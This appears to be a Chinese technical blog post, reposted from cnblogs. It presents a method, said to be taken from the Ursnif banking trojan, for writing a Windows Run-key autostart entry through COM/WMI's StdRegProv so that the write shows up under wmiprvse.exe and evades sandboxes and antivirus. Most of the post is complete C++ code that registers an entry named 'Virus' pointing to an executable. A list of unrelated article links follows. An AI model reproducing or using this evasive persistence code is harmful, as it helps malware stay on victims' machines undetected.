zoukankan      html  css  js  c++  java
  • 绕过安全软件设置注册表

    1.前言

    这个设置注册表的方式利用到了COM组件,这是我分析Ursnif银行木马时发现的一种利用方式,利用COM组件调用wmi设置注册表,如果用监控工具会看到设置注册表项的系统进程wmiprvse.exe。这里用了一些沙箱测试并没有检测出设置敏感注册表的行为,国内杀软也没爆出设置了敏感注册表的警告,具体就不详细说了,感兴趣的可以自己尝试一下。这个操作不知道有没有其他大佬写过,如有冲突望告知。

    2.正文

    这里就直接上代码了,主要是在run下设置一个键值,这里没有其他操作了,需要管理员权限运行,然后编译时要根据系统版本编译为x86或x64。

     1 #include<iostream>
     2 #include<comutil.h>
     3 #include<WbemIdl.h>
     4 #include<tchar.h>
     5 #include<Exdisp.h>
     6 #include<Winhttp.h>
     7 
     8 #pragma comment(lib,"Wbemuuid.lib")
     9 #pragma comment(lib,"comsuppw.lib")
    10 
    11 int _tmain(int argc, _TCHAR* argv[])
    12 {
    13   //初始化
    14   HRESULT hres = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
    15   if (FAILED(hres))
    16   {
    17     return 0;
    18   }
    19 
    20   //实例化
    21   IWbemLocator *pLoc = NULL;
    22   hres = CoCreateInstance(CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID *)&pLoc);
    23   if (FAILED(hres))
    24   {
    25     CoUninitialize();
    26     return 0;
    27   }
    28 
    29   //连接到命名空间
    30   IWbemServices *pSvc = NULL;
    31   pLoc->ConnectServer(L"root\default", NULL, NULL, 0, NULL, 0, 0, &pSvc);
    32 
    33   CoSetProxyBlanket(pSvc, 10, 0, 0, 3, 3, 0, 0);
    34 
    35   pLoc->Release();
    36 
    37   //获取对象StdRegProv
    38   IWbemClassObject *pObject = NULL;
    39   pSvc->GetObjectW(L"StdRegProv", 0, 0, &pObject, 0);
    40 
    41   //获取方法SetDWORDValue
    42   IWbemClassObject *pInSignature = NULL;
    43   pObject->GetMethod(L"SetStringValue", 0, &pInSignature, 0);
    44 
    45   //设置注册表项
    46   _variant_t var1(L"2147483650");
    47   pInSignature->Put(L"hDefKey", 0, &var1, CIM_UINT32);
    48 
    49   //设置路径
    50   _variant_t var2(L"SOFTWARE\Microsoft\Windows\CurrentVersion\Run");
    51   pInSignature->Put(L"sSubKeyName", 0, &var2, CIM_STRING);
    52 
    53   //设置项名
    54   _variant_t var3(L"Virus");
    55   pInSignature->Put(L"sValueName", 0, &var3, CIM_STRING);
    56 
    57   //设置值
    58   _variant_t var4(L"D:\test.exe");
    59   pInSignature->Put(L"sValue", 0, &var4, CIM_STRING);
    60 
    61   IWbemClassObject *pOutParams = NULL;
    62   pSvc->ExecMethod(L"StdRegProv", L"SetStringValue", 0, 0, pInSignature, &pOutParams, 0);
    63 
    64   pInSignature->Release();
    65 
    66   pObject->Release();
    67 
    68   pSvc->Release();
    69 
    70   return 0;
    71 }

    结果如图

    3.对com的一些看法

    对于COM没有很深的了解所以也不说太多。不过COM在安全方面的利用也开始慢慢多起来了,像玩转COM对象玩转COM对象(Part 2)中就利用到了COM进行一些骚操作。如果有对COM有兴趣的,就加群一起讨论一下吧。

  • 相关阅读:
    c# 如何利用异或运算进行简单加密解密
    五分钟读懂UML类图
    深入浅出UML类图
    WPF中DPI的问题
    .NET调用JAVA的WebService方法
    动态调用WebService(C#) (非常实用)
    Docker入门
    idea开发shell脚本并运行
    SpringEl表达式解析
    Navicate 许可证
  • 原文地址:https://www.cnblogs.com/QKSword/p/11042474.html
Copyright © 2011-2022 走看看